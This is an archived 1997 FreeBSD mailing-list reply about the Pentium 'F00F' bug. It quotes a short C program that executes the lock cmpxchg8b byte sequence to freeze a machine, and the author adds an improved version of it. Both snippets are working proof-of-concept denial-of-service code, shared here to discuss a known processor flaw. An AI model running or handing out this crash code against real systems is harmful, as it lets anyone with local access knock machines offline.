From owner-freebsd-questions Mon Nov 10 02:00:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA18693 for questions-outgoing; Mon, 10 Nov 1997 02:00:39 -0800 (PST) (envelope-from owner-freebsd-questions) Received: from webfarm1.whistle.com (webfarm1.whistle.com [207.76.204.6]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA18676 for ; Mon, 10 Nov 1997 02:00:34 -0800 (PST) (envelope-from julian@whistle.com) Received: (from smap@localhost) by webfarm1.whistle.com (8.8.5/8.8.5) id CAA18977 for ; Mon, 10 Nov 1997 02:00:33 -0800 (PST) X-Authentication-Warning: webfarm1.whistle.com: smap set sender to using -f Received: from alpo.whistle.com(alpo.isp.whistle.com 207.76.204.38) by webfarm1.whistle.com via smap (V2.0) id xmab18971; Mon, 10 Nov 97 02:00:14 -0800 Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id BAA06683; Mon, 10 Nov 1997 01:34:31 -0800 (PST) Received: from UNKNOWN(), claiming to be "current1.whistle.com" via SMTP by alpo.whistle.com, id smtpd006680; Mon Nov 10 01:34:22 1997 Date: Mon, 10 Nov 1997 01:32:31 -0800 (PST) From: Julian Elischer To: Michael Richards <026809r@dragon.acadiau.ca> cc: freebsd-questions@FreeBSD.ORG Subject: Re: Crashing FreeBSD In-Reply-To: <199711100059.UAA23095@dragon.acadiau.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Where have you been? :) this is the same program that archie (in the next cube) and I wrote and posted last week.. looks like it's made full circle and made it back here.. :) p.s her are soem slight improvements.. On Sun, 9 Nov 1997, Michael Richards wrote: > Well folks, it looks like anyone can crash a FreeBSD box. I am told that > this is a bug in the pentium processor. Compile and run, it will crash the > machine right away... > > Very simple: > > > char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 }; > > main () { > void (*f)() = x; > f(); > } > char x[] = {0xf0, 0x0f, 0xc7, 0xc8, 0xc3}; main() { void(*f)() = (void(*)(void))x; f(); } this one 1/ doesn't get so many warnimgs. 2/ is corrct in that there is a ret instruction after the bad code. so people can't say "it's falling off the end".. (thanks SEF) julian